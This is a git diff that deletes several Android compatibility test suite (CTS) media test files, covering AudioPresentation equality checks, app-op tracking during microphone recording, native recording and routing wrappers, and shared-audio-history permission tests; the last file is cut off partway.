diff --git a/tests/tests/media/src/android/media/cts/AudioPresentationTest.java b/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
deleted file mode 100644
index de36d2b..0000000
--- a/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
+++ /dev/null
@@ -1,200 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertNotEquals;
-
-import android.icu.util.ULocale;
-import android.media.AudioPresentation;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-import java.util.HashMap;
-import java.util.Locale;
-import java.util.Map;
-
-@NonMediaMainlineTest
-public class AudioPresentationTest extends CtsAndroidTestCase {
-    private String TAG = "AudioPresentationTest";
-    private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
-
-    public void testGetters() throws Exception {
-        final int PRESENTATION_ID = 42;
-        final int PROGRAM_ID = 43;
-        final Map<Locale, CharSequence> LABELS = generateLabels();
-        final Locale LOCALE = Locale.US;
-        final int MASTERING_INDICATION = AudioPresentation.MASTERED_FOR_STEREO;
-        final boolean HAS_AUDIO_DESCRIPTION = false;
-        final boolean HAS_SPOKEN_SUBTITLES = true;
-        final boolean HAS_DIALOGUE_ENHANCEMENT = true;
-
-        AudioPresentation presentation = (new AudioPresentation.Builder(PRESENTATION_ID)
-                .setProgramId(PROGRAM_ID)
-                .setLocale(ULocale.forLocale(LOCALE))
-                .setLabels(localeToULocale(LABELS))
-                .setMasteringIndication(MASTERING_INDICATION)
-                .setHasAudioDescription(HAS_AUDIO_DESCRIPTION)
-                .setHasSpokenSubtitles(HAS_SPOKEN_SUBTITLES)
-                .setHasDialogueEnhancement(HAS_DIALOGUE_ENHANCEMENT)).build();
-        assertEquals(PRESENTATION_ID, presentation.getPresentationId());
-        assertEquals(PROGRAM_ID, presentation.getProgramId());
-        assertEquals(LABELS, presentation.getLabels());
-        assertEquals(LOCALE, presentation.getLocale());
-        assertEquals(MASTERING_INDICATION, presentation.getMasteringIndication());
-        assertEquals(HAS_AUDIO_DESCRIPTION, presentation.hasAudioDescription());
-        assertEquals(HAS_SPOKEN_SUBTITLES, presentation.hasSpokenSubtitles());
-        assertEquals(HAS_DIALOGUE_ENHANCEMENT, presentation.hasDialogueEnhancement());
-    }
-
-    public void testEqualsAndHashCode() throws Exception {
-        final int PRESENTATION_ID = 42;
-        final int PROGRAM_ID = 43;
-        final Map<Locale, CharSequence> LABELS = generateLabels();
-        final Locale LOCALE = Locale.US;
-        final Locale LOCALE_3 = Locale.FRENCH;
-        final int MASTERING_INDICATION = AudioPresentation.MASTERED_FOR_STEREO;
-        final int MASTERING_INDICATION_3 = AudioPresentation.MASTERED_FOR_HEADPHONE;
-        final boolean HAS_AUDIO_DESCRIPTION = false;
-        final boolean HAS_SPOKEN_SUBTITLES = true;
-        final boolean HAS_DIALOGUE_ENHANCEMENT = true;
-
-        {
-            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID))
-                    .build();
-            assertEquals(presentation1, presentation1);
-            assertNotEquals(presentation1, null);
-            assertNotEquals(presentation1, new Object());
-            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID))
-                    .build();
-            assertEquals(presentation1, presentation2);
-            assertEquals(presentation2, presentation1);
-            assertEquals(presentation1.hashCode(), presentation2.hashCode());
-            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID + 1))
-                    .build();
-            assertNotEquals(presentation1, presentation3);
-            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
-        }
-        {
-            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setProgramId(PROGRAM_ID)).build();
-            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setProgramId(PROGRAM_ID)).build();
-            assertEquals(presentation1, presentation2);
-            assertEquals(presentation2, presentation1);
-            assertEquals(presentation1.hashCode(), presentation2.hashCode());
-            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setProgramId(PROGRAM_ID + 1)).build();
-            assertNotEquals(presentation1, presentation3);
-            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
-        }
-        {
-            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setLocale(ULocale.forLocale(LOCALE))).build();
-            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setLocale(ULocale.forLocale(LOCALE))).build();
-            assertEquals(presentation1, presentation2);
-            assertEquals(presentation2, presentation1);
-            assertEquals(presentation1.hashCode(), presentation2.hashCode());
-            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setLocale(ULocale.forLocale(LOCALE_3))).build();
-            assertNotEquals(presentation1, presentation3);
-            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
-        }
-        {
-            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setLabels(localeToULocale(LABELS))).build();
-            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setLabels(localeToULocale(LABELS))).build();
-            assertEquals(presentation1, presentation2);
-            assertEquals(presentation2, presentation1);
-            assertEquals(presentation1.hashCode(), presentation2.hashCode());
-            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setLabels(new HashMap<ULocale, CharSequence>())).build();
-            assertNotEquals(presentation1, presentation3);
-            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
-        }
-        {
-            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setMasteringIndication(MASTERING_INDICATION)).build();
-            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setMasteringIndication(MASTERING_INDICATION)).build();
-            assertEquals(presentation1, presentation2);
-            assertEquals(presentation2, presentation1);
-            assertEquals(presentation1.hashCode(), presentation2.hashCode());
-            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setMasteringIndication(MASTERING_INDICATION_3)).build();
-            assertNotEquals(presentation1, presentation3);
-            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
-        }
-        {
-            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setHasAudioDescription(HAS_AUDIO_DESCRIPTION)).build();
-            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setHasAudioDescription(HAS_AUDIO_DESCRIPTION)).build();
-            assertEquals(presentation1, presentation2);
-            assertEquals(presentation2, presentation1);
-            assertEquals(presentation1.hashCode(), presentation2.hashCode());
-            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setHasAudioDescription(!HAS_AUDIO_DESCRIPTION)).build();
-            assertNotEquals(presentation1, presentation3);
-            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
-        }
-        {
-            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setHasSpokenSubtitles(HAS_SPOKEN_SUBTITLES)).build();
-            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setHasSpokenSubtitles(HAS_SPOKEN_SUBTITLES)).build();
-            assertEquals(presentation1, presentation2);
-            assertEquals(presentation2, presentation1);
-            assertEquals(presentation1.hashCode(), presentation2.hashCode());
-            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setHasSpokenSubtitles(!HAS_SPOKEN_SUBTITLES)).build();
-            assertNotEquals(presentation1, presentation3);
-            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
-        }
-        {
-            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setHasDialogueEnhancement(HAS_DIALOGUE_ENHANCEMENT)).build();
-            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setHasDialogueEnhancement(HAS_DIALOGUE_ENHANCEMENT)).build();
-            assertEquals(presentation1, presentation2);
-            assertEquals(presentation2, presentation1);
-            assertEquals(presentation1.hashCode(), presentation2.hashCode());
-            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
-                    .setHasDialogueEnhancement(!HAS_DIALOGUE_ENHANCEMENT)).build();
-            assertNotEquals(presentation1, presentation3);
-            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
-        }
-    }
-
-    private static Map<Locale, CharSequence> generateLabels() {
-        Map<Locale, CharSequence> result = new HashMap<Locale, CharSequence>();
-        result.put(Locale.US, Locale.US.getDisplayLanguage());
-        result.put(Locale.FRENCH, Locale.FRENCH.getDisplayLanguage());
-        result.put(Locale.GERMAN, Locale.GERMAN.getDisplayLanguage());
-        return result;
-    }
-
-    private static Map<ULocale, CharSequence> localeToULocale(Map<Locale, CharSequence> locales) {
-        Map<ULocale, CharSequence> ulocaleLabels = new HashMap<ULocale, CharSequence>();
-        for (Map.Entry<Locale, CharSequence> entry : locales.entrySet()) {
-            ulocaleLabels.put(ULocale.forLocale(entry.getKey()), entry.getValue());
-        }
-        return ulocaleLabels;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
deleted file mode 100644
index 5e5988a..0000000
--- a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.app.AppOpsManager.OPSTR_RECORD_AUDIO;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.timeout;
-import static org.mockito.Mockito.verify;
-
-import android.app.AppOpsManager;
-import android.app.AppOpsManager.OnOpActiveChangedListener;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.AudioFormat;
-import android.media.AudioRecord;
-import android.media.MediaRecorder;
-import android.os.Process;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.Mockito;
-
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests for media framework behaviors related to app ops.
- */
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-public class AudioRecordAppOpTest {
-    private static final long APP_OP_CHANGE_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(2);
-
-    @Test
-    public void testRecordAppOps() {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        final String packageName = getContext().getPackageName();
-        final int uid = Process.myUid();
-
-        final AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
-        final OnOpActiveChangedListener mockListener = mock(OnOpActiveChangedListener.class);
-        final OnOpActiveChangedListener listener = new OnOpActiveChangedListener() {
-            public void onOpActiveChanged(String op, int uid, String packageName, boolean active) {
-                mockListener.onOpActiveChanged(op, uid, packageName, active);
-            }
-        };
-
-        AudioRecord recorder = null;
-        try {
-            // Setup a recorder
-            final AudioRecord candidateRecorder = new AudioRecord.Builder()
-                    .setAudioSource(MediaRecorder.AudioSource.MIC)
-                    .setBufferSizeInBytes(1024)
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setSampleRate(8000)
-                            .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
-                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                            .build())
-                    .build();
-
-            // The app op should be reported as not started
-            assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
-                    uid, packageName)).isFalse();
-
-            // Start watching for app op active
-            appOpsManager.startWatchingActive(new String[] { OPSTR_RECORD_AUDIO },
-                    getContext().getMainExecutor(), listener);
-
-            // Start recording
-            candidateRecorder.startRecording();
-            recorder = candidateRecorder;
-
-            // The app op should start
-            verify(mockListener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
-                    .only()).onOpActiveChanged(eq(OPSTR_RECORD_AUDIO),
-                    eq(uid), eq(packageName), eq(true));
-
-            // The app op should be reported as started
-            assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
-                    uid, packageName)).isTrue();
-
-
-            // Start with a clean slate
-            Mockito.reset(mockListener);
-
-            // Stop recording
-            recorder.stop();
-            recorder.release();
-            recorder = null;
-
-            // The app op should stop
-            verify(mockListener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
-                    .only()).onOpActiveChanged(eq(OPSTR_RECORD_AUDIO),
-                    eq(uid), eq(packageName), eq(false));
-
-            // The app op should be reported as not started
-            assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
-                    uid, packageName)).isFalse();
-        } finally {
-            if (recorder != null) {
-                recorder.stop();
-                recorder.release();
-            }
-
-            appOpsManager.stopWatchingActive(listener);
-        }
-    }
-
-    private static boolean hasMicrophone() {
-        return getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE);
-    }
-
-    private static Context getContext() {
-        return InstrumentationRegistry.getInstrumentation().getTargetContext();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordNative.java b/tests/tests/media/src/android/media/cts/AudioRecordNative.java
deleted file mode 100644
index f6eb501..0000000
--- a/tests/tests/media/src/android/media/cts/AudioRecordNative.java
+++ /dev/null
@@ -1,172 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.annotation.IntDef;
-import android.annotation.NonNull;
-import android.media.AudioRouting;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-
-public class AudioRecordNative {
-    // Must be kept in sync with C++ JNI audio-record-native (AudioRecordNative) READ_FLAG_*
-    public static final int READ_FLAG_BLOCKING = 1 << 0;
-    /** @hide */
-    @IntDef(flag = true,
-            value = {
-                    READ_FLAG_BLOCKING,
-            })
-    @Retention(RetentionPolicy.SOURCE)
-    public @interface ReadFlags { }
-
-    public AudioRecordNative() {
-        mNativeRecordInJavaObj = nativeCreateRecord();
-    }
-
-    public boolean open(int numChannels, int sampleRate, boolean useFloat, int numBuffers) {
-        return open(numChannels, 0, sampleRate, useFloat,numBuffers);
-    }
-
-    public boolean open(int numChannels, int channelMask, int sampleRate,
-            boolean useFloat, int numBuffers) {
-        if (nativeOpen(mNativeRecordInJavaObj, numChannels, channelMask,
-                sampleRate, useFloat, numBuffers) == STATUS_OK) {
-            mChannelCount = numChannels;
-            return true;
-        }
-        return false;
-    }
-
-    public void close() {
-        nativeClose(mNativeRecordInJavaObj);
-    }
-
-    public boolean start() {
-        return nativeStart(mNativeRecordInJavaObj) == STATUS_OK;
-    }
-
-    public boolean stop() {
-        return nativeStop(mNativeRecordInJavaObj) == STATUS_OK;
-    }
-
-    public boolean pause() {
-        return nativePause(mNativeRecordInJavaObj) == STATUS_OK;
-    }
-
-    public boolean flush() {
-        return nativeFlush(mNativeRecordInJavaObj) == STATUS_OK;
-    }
-
-    public long getPositionInMsec() {
-        long[] position = new long[1];
-        if (nativeGetPositionInMsec(mNativeRecordInJavaObj, position) != STATUS_OK) {
-            throw new IllegalStateException();
-        }
-        return position[0];
-    }
-
-    public int getBuffersPending() {
-        return nativeGetBuffersPending(mNativeRecordInJavaObj);
-    }
-
-    public AudioRouting getRoutingInterface() {
-        return nativeGetRoutingInterface(mNativeRecordInJavaObj);
-    }
-
-    public int read(@NonNull byte[] byteArray,
-            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags) {
-        return nativeReadByteArray(
-                mNativeRecordInJavaObj, byteArray, offsetInSamples, sizeInSamples, readFlags);
-    }
-
-    public int read(@NonNull short[] shortArray,
-            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags) {
-        return nativeReadShortArray(
-                mNativeRecordInJavaObj, shortArray, offsetInSamples, sizeInSamples, readFlags);
-    }
-
-    public int read(@NonNull float[] floatArray,
-            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags) {
-        return nativeReadFloatArray(
-                mNativeRecordInJavaObj, floatArray, offsetInSamples, sizeInSamples, readFlags);
-    }
-
-    public int getChannelCount() {
-        return mChannelCount;
-    }
-
-    public static boolean test(int numChannels, int sampleRate, boolean useFloat,
-            int msecPerBuffer, int numBuffers) {
-        return test(numChannels, 0, sampleRate, useFloat, msecPerBuffer, numBuffers);
-    }
-
-    public static boolean test(int numChannels, int channelMask, int sampleRate, boolean useFloat,
-            int msecPerBuffer, int numBuffers) {
-        return nativeTest(numChannels, channelMask, sampleRate, useFloat, msecPerBuffer, numBuffers)
-                == STATUS_OK;
-    }
-
-    @Override
-    protected void finalize() {
-        nativeClose(mNativeRecordInJavaObj);
-        nativeDestroyRecord(mNativeRecordInJavaObj);
-    }
-
-    static {
-        System.loadLibrary("audio_jni");
-    }
-
-    private static final String TAG = "AudioRecordNative";
-    private int mChannelCount;
-    private final long mNativeRecordInJavaObj;
-    private static final int STATUS_OK = 0;
-
-    // static native API.
-    // The native API uses a long "record handle" created by nativeCreateRecord.
-    // The handle must be destroyed after use by nativeDestroyRecord.
-    //
-    // Return codes from the native layer are status_t.
-    // Converted to Java booleans or exceptions at the public API layer.
-    private static native long nativeCreateRecord();
-    private static native void nativeDestroyRecord(long record);
-    private static native int nativeOpen(
-            long record, int numChannels, int channelMask,
-            int sampleRate, boolean useFloat, int numBuffers);
-    private static native void nativeClose(long record);
-    private static native int nativeStart(long record);
-    private static native int nativeStop(long record);
-    private static native int nativePause(long record);
-    private static native int nativeFlush(long record);
-    private static native int nativeGetPositionInMsec(long record, @NonNull long[] position);
-    private static native int nativeGetBuffersPending(long record);
-    private static native int nativeReadByteArray(long record, @NonNull byte[] byteArray,
-            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags);
-    private static native int nativeReadShortArray(long record, @NonNull short[] shortArray,
-            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags);
-    private static native int nativeReadFloatArray(long record, @NonNull float[] floatArray,
-            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags);
-    private static native AudioRouting nativeGetRoutingInterface(long record);
-
-    // native interface for all-in-one testing, no record handle required.
-    private static native int nativeTest(
-            int numChannels, int channelMask, int sampleRate,
-            boolean useFloat, int msecPerBuffer, int numBuffers);
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordRoutingNative.java b/tests/tests/media/src/android/media/cts/AudioRecordRoutingNative.java
deleted file mode 100644
index d70abce..0000000
--- a/tests/tests/media/src/android/media/cts/AudioRecordRoutingNative.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.annotation.IntDef;
-import android.annotation.NonNull;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-import android.media.AudioRouting;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import com.android.ndkaudio.AudioRecorder;
-
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-
-public class AudioRecordRoutingNative extends AndroidTestCase {
-    private static final String TAG = "AudioRecordRoutingNative";
-
-    private AudioManager mAudioManager;
-
-    static {
-        System.loadLibrary("ndkaudioLib");
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        // get the AudioManager
-        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        assertNotNull(mAudioManager);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
-    //
-    // Tests
-    //
-
-    // Test a basic Aquire/Release cycle on the default recorder.
-    public void testAquireDefaultProxy() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        AudioRecorder recorder = new AudioRecorder();
-        recorder.ClearLastSLResult();
-        recorder.RealizeRecorder();
-        recorder.RealizeRoutingProxy();
-
-        AudioRouting routingObj = recorder.GetRoutingInterface();
-        assertNotNull(routingObj);
-
-        // Not allowed to acquire twice
-        routingObj = recorder.GetRoutingInterface();
-        assertNull(routingObj);
-        assertTrue(recorder.GetLastSLResult() != 0);
-
-        recorder.ReleaseRoutingInterface(routingObj);
-        assertTrue(recorder.GetLastSLResult() == 0);
-    }
-
-    // Test an Aquire before the OpenSL ES recorder is Realized.
-    public void testAquirePreRealizeDefaultProxy() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        AudioRecorder recorder = new AudioRecorder();
-        recorder.ClearLastSLResult();
-        recorder.RealizeRecorder();
-        recorder.RealizeRoutingProxy();
-        assertTrue(recorder.GetLastSLResult() == 0);
-
-        AudioRouting routingObj = recorder.GetRoutingInterface();
-        assertTrue(recorder.GetLastSLResult() == 0);
-        assertNotNull(routingObj);
-
-        recorder.RealizeRecorder();
-        assertTrue(recorder.GetLastSLResult() == 0);
-
-        recorder.ReleaseRoutingInterface(routingObj);
-        assertTrue(recorder.GetLastSLResult() == 0);
-    }
-
-    // Test actually setting the routing through the enumerated devices.
-    public void testRouting() {
-        if (!hasMicrophone()) {
-            return;
-        }
-        AudioRecorder recorder = new AudioRecorder();
-        recorder.ClearLastSLResult();
-        recorder.RealizeRecorder();
-        recorder.RealizeRoutingProxy();
-
-        AudioRouting routingObj = recorder.GetRoutingInterface();
-        assertNotNull(routingObj);
-
-        AudioDeviceInfo[] deviceList;
-        deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
-        assertTrue(deviceList != null);
-        for (AudioDeviceInfo devInfo : deviceList) {
-            assertTrue(routingObj.setPreferredDevice(devInfo));
-        }
-
-        recorder.ReleaseRoutingInterface(routingObj);
-        assertTrue(recorder.GetLastSLResult() == 0);
-    }
-
-    private boolean hasMicrophone() {
-        return getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java b/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java
deleted file mode 100644
index 7667922..0000000
--- a/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java
+++ /dev/null
@@ -1,285 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-import static org.testng.Assert.assertThrows;
-
-import android.content.pm.PackageManager;
-import android.media.AudioFormat;
-import android.media.AudioRecord;
-import android.media.MediaSyncEvent;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SdkSuppress;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.IOException;
-
-
-
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-@SdkSuppress(minSdkVersion = 31, codeName = "S")
-public class AudioRecordSharedAudioTest {
-    private static final String TAG = "AudioRecordSharedAudioTest";
-    private static final int SAMPLING_RATE_HZ = 16000;
-
-    @Before
-    public void setUp() throws Exception {
-        assumeTrue(hasMicrophone());
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity();
-        clearAudioserverPermissionCache();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .dropShellPermissionIdentity();
-        clearAudioserverPermissionCache();
-    }
-
-    @Test
-    public void testPermissionFailure() throws Exception {
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .dropShellPermissionIdentity();
-        clearAudioserverPermissionCache();
-
-        assertThrows(UnsupportedOperationException.class, () -> {
-                    AudioRecord record = new AudioRecord.Builder().setMaxSharedAudioHistoryMillis(
-                            AudioRecord.getMaxSharedAudioHistoryMillis() - 1).build();
-                });
-
-        final AudioRecord record =
-                new AudioRecord.Builder()
-                        .setAudioFormat(new AudioFormat.Builder()
-                            .setSampleRate(SAMPLING_RATE_HZ)
-                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                            .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
-                        .setBufferSizeInBytes(SAMPLING_RATE_HZ
-                                * AudioFormat.getBytesPerSample(AudioFormat.ENCODING_PCM_16BIT))
-                        .build();
-        assertEquals(AudioRecord.STATE_INITIALIZED, record.getState());
-        record.startRecording();
-        Thread.sleep(500);
-
-        assertThrows(SecurityException.class, () -> {
-                    record.shareAudioHistory(
-                            InstrumentationRegistry.getTargetContext().getPackageName(), 100);
-                });
-
-        record.stop();
-        record.release();
-    }
-
-    @Test
-    public void testPermissionSuccess() throws Exception {
-        AudioRecord record = new AudioRecord.Builder().setAudioFormat(new AudioFormat.Builder()
-                    .setSampleRate(SAMPLING_RATE_HZ)
-                    .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                    .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
-                .setBufferSizeInBytes(SAMPLING_RATE_HZ
-                        * AudioFormat.getBytesPerSample(AudioFormat.ENCODING_PCM_16BIT))
-                .setMaxSharedAudioHistoryMillis(
-                    AudioRecord.getMaxSharedAudioHistoryMillis()-1)
-                .build();
-
-        assertEquals(AudioRecord.STATE_INITIALIZED, record.getState());
-
-        record.startRecording();
-        Thread.sleep(500);
-        try {
-            record.shareAudioHistory(
-                    InstrumentationRegistry.getTargetContext().getPackageName(), 100);
-        } catch (SecurityException e) {
-            fail("testPermissionSuccess shareAudioHistory be allowed");
-        } finally {
-            record.stop();
-            record.release();
-        }
-    }
-
-    @Test
-    public void testBadValues() throws Exception {
-        assertThrows(IllegalArgumentException.class, () -> {
-                    AudioRecord.Builder builder = new AudioRecord.Builder()
-                            .setMaxSharedAudioHistoryMillis(
-                                    AudioRecord.getMaxSharedAudioHistoryMillis() + 1);
-                });
-
-        assertThrows(IllegalArgumentException.class, () -> {
-                    AudioRecord.Builder builder = new AudioRecord.Builder()
-                            .setMaxSharedAudioHistoryMillis(-1);
-                });
-
-        final AudioRecord record =
-                new AudioRecord.Builder().setAudioFormat(new AudioFormat.Builder()
-                        .setSampleRate(SAMPLING_RATE_HZ)
-                        .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                        .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
-                    .setBufferSizeInBytes(SAMPLING_RATE_HZ
-                            * AudioFormat.getBytesPerSample(AudioFormat.ENCODING_PCM_16BIT))
-                    .setMaxSharedAudioHistoryMillis(
-                            AudioRecord.getMaxSharedAudioHistoryMillis()-1)
-                    .build();
-
-        assertEquals(AudioRecord.STATE_INITIALIZED, record.getState());
-
-        record.startRecording();
-        Thread.sleep(500);
-
-        assertThrows(NullPointerException.class, () -> {
-                    record.shareAudioHistory(null /* sharedPackage */, 100 /* startFromMillis */);
-                });
-
-        assertThrows(IllegalArgumentException.class, () -> {
-                    record.shareAudioHistory(
-                            InstrumentationRegistry.getTargetContext().getPackageName(),
-                            -1 /* startFromMillis */);
-                });
-
-        record.stop();
-        record.release();
-    }
-
-    @Test
-    public void testCapturesMatch() throws Exception {
-        AudioRecord record1 = null;
-        AudioRecord record2 = null;
-        try {
-            record1 = new AudioRecord.Builder().setAudioFormat(new AudioFormat.Builder()
-                                .setSampleRate(SAMPLING_RATE_HZ)
-                                .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                                .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
